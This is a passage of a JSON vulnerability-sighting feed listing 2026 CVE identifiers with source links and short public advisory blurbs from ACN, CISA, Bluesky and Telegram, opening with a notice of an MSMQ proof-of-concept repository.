\u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54992-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DavidCarliez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-16 09:49:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof of concept for CVE-2026-54992, an MSMQ remote-read integer overflow\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T12:00:05.381488Z"}, {"uuid": "34a30390-65d9-44ef-8210-d50ba64b2c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54128", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:11.321334Z"}, {"uuid": "f57425e0-5473-4dfa-8a77-c3a83bfeedfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54115", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:51:09.027136Z"}, {"uuid": "76664bd3-58af-4f81-8e35-8703adfca131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54122", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:18.853260Z"}, {"uuid": "367d897d-2f7f-4f0a-849a-31b02fa28263", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54119", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:43.180376Z"}, {"uuid": "d948943d-71e5-460e-a151-1631e18b2379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54117", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:45.355272Z"}, {"uuid": "04cb971e-26e3-4124-a45a-6e19490645a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54129", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:13.506094Z"}, {"uuid": "346595fd-159b-45d4-bafd-8abd12b2fd01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:29.939175Z"}, {"uuid": "f52c3255-564c-4643-94c8-b8c39395624f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54126", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:32.141186Z"}, {"uuid": "1e5720ca-e9ce-432a-bfc9-4aa0e208b232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54127", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:34.373442Z"}, {"uuid": "fc468271-f068-471a-8213-971317ae3217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54124", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:36.569722Z"}, {"uuid": "92542f54-47d8-4b09-a808-2793ca529e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54118", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:47.534108Z"}, {"uuid": "3083c26f-184e-4711-8048-b3910fac8531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54125", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:38.810377Z"}, {"uuid": "622fa43d-a858-49e3-9f19-dd45ccbfdec0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54111", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:49.713971Z"}, {"uuid": "4ac7fc22-1e28-4f3c-95d8-e49d73336f92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54112", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:50:54.054977Z"}, {"uuid": "f7092cd9-634a-4005-9ea1-f9687edf9396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54116", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:51:13.594437Z"}, {"uuid": "cb3791f1-04ce-4b82-b832-5e556b973609", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54114", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:51:18.144169Z"}, {"uuid": "fc714090-2aa0-4605-a63d-a4213cc8e0b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54131", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:51:47.332915Z"}, {"uuid": "021f8754-22a0-41ed-b94c-e00cc00f04ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54132", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:51:49.521498Z"}, {"uuid": "ac16c4a4-d8c8-4739-9a75-1400e286ef3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54108", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:51:58.224594Z"}, {"uuid": "33bea91f-64b4-488c-bf09-8320792c859e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54109", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:52:00.397938Z"}, {"uuid": "9b25caa6-9c64-4a0f-a024-3bb08b4ecb85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T12:52:09.291288Z"}, {"uuid": "9599c36b-182f-467f-a805-81cb872d94c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54992", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:15:46.598828Z"}, {"uuid": "1b22e45a-459a-4ce2-a4e9-e18a5b624704", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54999", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:15:31.092875Z"}, {"uuid": "8f42ad2e-8d89-4706-9382-bbe84842a1f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54997", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:15:35.667945Z"}, {"uuid": "0b77afcf-069f-4bcf-89c7-b6b75aa2a358", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:15:37.853722Z"}, {"uuid": "d6606300-e845-46da-8d40-80b1c3b8d5e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54991", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:15:42.196010Z"}, {"uuid": "a73d1c7f-e14e-4246-986c-6ee9ccc0a41d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54990", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:15:57.501973Z"}, {"uuid": "e84150ee-7a4e-44ce-b92b-afd6ba5e34c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54995", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:16:04.096899Z"}, {"uuid": "8b51da89-156e-4f5e-ad6f-03183d95543d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54996", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:16:06.263707Z"}, {"uuid": "e026026c-3b67-48e4-b091-9d43b5332717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54993", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:16:10.671511Z"}, {"uuid": "4b5ec1e4-2d2c-4d51-a6e3-d9f17c866728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54988", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:18:18.287723Z"}, {"uuid": "92df9c00-e89f-4676-9da2-7182f7269098", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54989", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:18:22.711511Z"}, {"uuid": "b460e0e6-e880-4548-99df-94373b53bc85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54986", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:18:27.163184Z"}, {"uuid": "29188aaa-5673-4e57-9a06-5d8e508b6023", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54987", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:18:29.418997Z"}, {"uuid": "babe852b-bb59-4b5e-ba36-664aff8c7fed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54982", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:18:44.699379Z"}, {"uuid": "2793cc40-8839-4f76-b780-7e6c777591b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54983", "type": "seen", "source": "https://www.acn.gov.it/portale/w/aggiornamenti-mensili-microsoft-22", "content": "", "creation_timestamp": "2026-07-16T13:18:49.181165Z"}, {"uuid": "7a552c46-de3d-4713-9319-0a1704ff4505", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54083", "type": "seen", "source": "https://www.acn.gov.it/portale/w/wazuh-disponibili-poc-per-le-cve-2026-54083-e-cve-2026-61800", "content": "Rilevate nuove vulnerabilit\u00e0 e disponibili PoC pubblici per le CVE-2026-54083 e CVE-2026-61800 presenti in Wazuh, piattaforma open-source con funzionalit\u00e0 Security Information and Event Management (SIEM) e Extended Detection and Response (XDR).", "creation_timestamp": "2026-08-29T01:00:33.763978Z"}, {"uuid": "79a79208-fab8-4c52-b713-2a58f3755942", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqre6nekz422", "content": "\ud83d\udccc CVE-2026-54107 - Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K allows an authorized attacker to elevate... https://www.cyberhub.blog/cves/CVE-2026-54107", "creation_timestamp": "2026-07-16T13:37:07.278854Z"}, {"uuid": "4269fc7c-b13e-4fa6-b2ee-c4c20efc8cfd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54523", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtypdfugfq26", "content": "\ud83d\udd34 CVE-2026-54523 - Critical (9.6)\n\nKyverno is a policy engine designed for cloud native platform engineering teams. From 1.18.0 unti...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54523/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-26T16:00:52.498583Z"}, {"uuid": "38595911-04ae-4e3d-bdd7-4ad54fd0dfb2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54523", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mtypc3nslg2t", "content": "CVE-2026-54523 - kyverno\nKyverno version 1.18.0 and 1.18.1 allow a user who can define a policy in their own area to tell Kyverno to add role\u2011binding objects in any other area, including the system area.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#kyverno #Golang #CVE #infosec", "creation_timestamp": "2026-08-26T16:00:11.391526Z"}, {"uuid": "30ba0e6b-b03b-46c2-b79a-74b3e761ccf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54511", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mtypd6wfhc2t", "content": "\ud83d\udfe0 CVE-2026-54511 - High (8.6)\n\nLogTape is an unobtrusive logging library. Prior to 1.3.11, 2.0.14, and 2.1.5, the @logtape/syslo...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54511/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-26T16:00:44.498226Z"}, {"uuid": "73da9376-b493-475c-b044-b04d1577e6ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54083", "type": "seen", "source": "https://www.acn.gov.it/portale/w/wazuh-disponibili-poc-per-le-cve-2026-54083-e-cve-2026-61800", "content": "", "creation_timestamp": "2026-08-28T12:45:30.505230Z"}, {"uuid": "a9ca0cc7-291d-4e87-b29e-45810cca1fcd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54798", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-197-05", "content": "", "creation_timestamp": "2026-07-16T16:15:03.513540Z"}, {"uuid": "7e45f609-9a14-4e1d-8fb5-aa27b73f3014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54799", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-197-05", "content": "", "creation_timestamp": "2026-07-16T16:15:05.708476Z"}, {"uuid": "e077bfb9-9431-4412-a27e-f1435b165342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54800", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-197-05", "content": "", "creation_timestamp": "2026-07-16T16:15:07.978662Z"}, {"uuid": "6da6ac0c-2f8b-4f62-bf54-70cea61e7f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54801", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-197-05", "content": "", "creation_timestamp": "2026-07-16T16:15:10.188718Z"}, {"uuid": "9ffd35b8-c253-48b7-9af9-a2d8b4b1b308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54733", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqrn26pxli2a", "content": "CVE-2026-54733 - moodle-local_o365: Authentication bypass via unverified JWT signature in Teams SSO endpoint\nCVE ID : CVE-2026-54733\n \n Published : July 16, 2026, 2:52 p.m. | 43\u00a0minutes ago\n \n Description : The Microsoft 365 and Microsoft Entra ID Plugins for Moodle provide Of...", "creation_timestamp": "2026-07-16T16:15:41.508120Z"}, {"uuid": "6038f412-d296-48ab-a10d-dd04175d9027", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54733", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqrou4dsoi2o", "content": "CVE-2026-54733 - o365-moodle\nThe Moodle Office 365 plugin allows attackers to bypass login verification, gaining access to user accounts. This affects users who rely on Office 365 integration for\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#o365moodle #microsoft #CVE #infosec", "creation_timestamp": "2026-07-16T16:48:04.672582Z"}, {"uuid": "03da4c40-1aff-47f7-ba8c-8995bd11699d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "seen", "source": "Telegram/IYbPLk4ERTEBv3PHVDATQd8EaZ4Sc0OJ99RE8uvxfU7J1W8", "content": "", "creation_timestamp": "2026-07-16T19:00:13.365411Z"}, {"uuid": "76354a1d-2a4e-4c25-b892-0113ee039224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "seen", "source": "Telegram/TEdnFjEKS3swNxbVpw8DxCu_Qb9xpCKjEBb-BvgmHVTvT6s", "content": "", "creation_timestamp": "2026-07-16T19:00:15.796465Z"}, {"uuid": "4e07fc3d-80d0-4d73-b159-62fe148f38e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "seen", "source": "Telegram/JMPLlqAJKVKStPUctSi0425VFAAqn_JlP0EBk3HwzAKEQKc", "content": "", "creation_timestamp": "2026-07-16T19:00:31.081716Z"}, {"uuid": "f344c0b9-56f4-45d4-b553-549e95466400", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "seen", "source": "Telegram/cpiqXd7ZGBh_Hd-K40OMQX8onVjmrXicBJVv84gtdkLX7iA", "content": "", "creation_timestamp": "2026-07-16T19:00:22.097951Z"}, {"uuid": "a54e713a-6b3b-49b6-80a6-d7bbf65ace32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54519", "type": "seen", "source": "Telegram/uxGFUVPy3TOzkodNgeg8vepR-kYpq91Dg5jOn-NGrDlDjCc", "content": "", "creation_timestamp": "2026-07-16T19:00:16.104736Z"}, {"uuid": "6b7c9f57-aafd-443f-a54c-6e49b04f0552", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54520", "type": "seen", "source": "Telegram/uxGFUVPy3TOzkodNgeg8vepR-kYpq91Dg5jOn-NGrDlDjCc", "content": "", "creation_timestamp": "2026-07-16T19:00:16.167914Z"}, {"uuid": "4a67869c-3b8b-4c87-bf8d-a7376f6ce677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54415", "type": "seen", "source": "Telegram/W5amUvjZQLp7x5QJxedoGRrfTMixYmkVE9L_7wilXlBm52k", "content": "", "creation_timestamp": "2026-07-16T19:00:22.291600Z"}, {"uuid": "aa764aba-4200-4339-8692-b55cd0ea99fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "seen", "source": "Telegram/BCI7VnJXXmV-Lqe80VVMpDehODrEO3pQ0iamK17egdwDArY", "content": "", "creation_timestamp": "2026-07-16T19:00:13.576546Z"}, {"uuid": "e53c9daf-cd10-46ae-8a0b-860aed3e3fec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54350", "type": "seen", "source": "Telegram/Rc0b9T17FJVJElH6QZhazeHK_5sevkoWVsl-YVplQMonaEk", "content": "", "creation_timestamp": "2026-07-16T19:00:18.747584Z"}, {"uuid": "77de3943-5ed0-474d-883f-f71dcefc54ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "Telegram/KAYuHSInUTyY5sd__HqTfJ-t-JAYNMtvmTlSN5y1liuC5CE", "content": "", "creation_timestamp": "2026-07-16T19:00:21.845627Z"}, {"uuid": "5a4c1e0f-a3da-443e-8d82-9db8bf48a277", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54998", "type": "seen", "source": "Telegram/3jycQz5KNEahntijqQf2WU64p6SNtb6OBS8EDKGb5rd5ChI", "content": "", "creation_timestamp": "2026-07-16T19:00:21.972662Z"}, {"uuid": "40b85679-b002-4cd8-b5d1-b1bf46b556fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54807", "type": "seen", "source": "Telegram/qb_VPVzOZ-t5tkQsHPqjzf9oQcpaZWyf0b6GUkkIlr12jYk", "content": "", "creation_timestamp": "2026-07-16T19:00:30.848792Z"}, {"uuid": "d837035d-91a3-4d51-a23d-4efe6fc795a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54526", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqs457pjpd2l", "content": "CVE-2026-54526 - Argo Workflows: Incomplete fix for CVE-2026-31892: ArtifactGC.PodSpecPatch bypass of Strict/Secure templateReferencing\nCVE ID : CVE-2026-54526\n \n Published : July 16, 2026, 7:16 p.m. | 18\u00a0minutes ago\n \n Description : Argo Workflows is an open source container-...", "creation_timestamp": "2026-07-16T20:45:48.894234Z"}, {"uuid": "4cf042e2-82bb-40a0-b2bb-65d0251bfd26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54540", "type": "published-proof-of-concept", "source": "https://github.com/pheditor/pheditor/security/advisories/GHSA-9643-6xjp-vx57", "content": "", "creation_timestamp": "2026-07-16T22:35:07.606772Z"}, {"uuid": "92c69065-0338-4ee2-a66e-172d6336e232", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54758", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mqsdv3qvdc2r", "content": "Notepad++\u3001v8.9.7\u30675\u4ef6\u306e\u8106\u5f31\u6027\u3092\u4fee\u6b63(CVE-2026-54758,CVE-2026-52886)\u904e\u53bb\u306e\u4e2d\u56fd\u7cfbAPT\u4e57\u3063\u53d6\u308a\u4e8b\u4ef6\u3092\u8e0f\u307e\u3048\u8981\u6ce8\u610f\n\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews", "creation_timestamp": "2026-07-16T23:04:30.966402Z"}, {"uuid": "63fa8833-b9a4-4609-aeeb-cb23d70ba9de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54390", "type": "seen", "source": 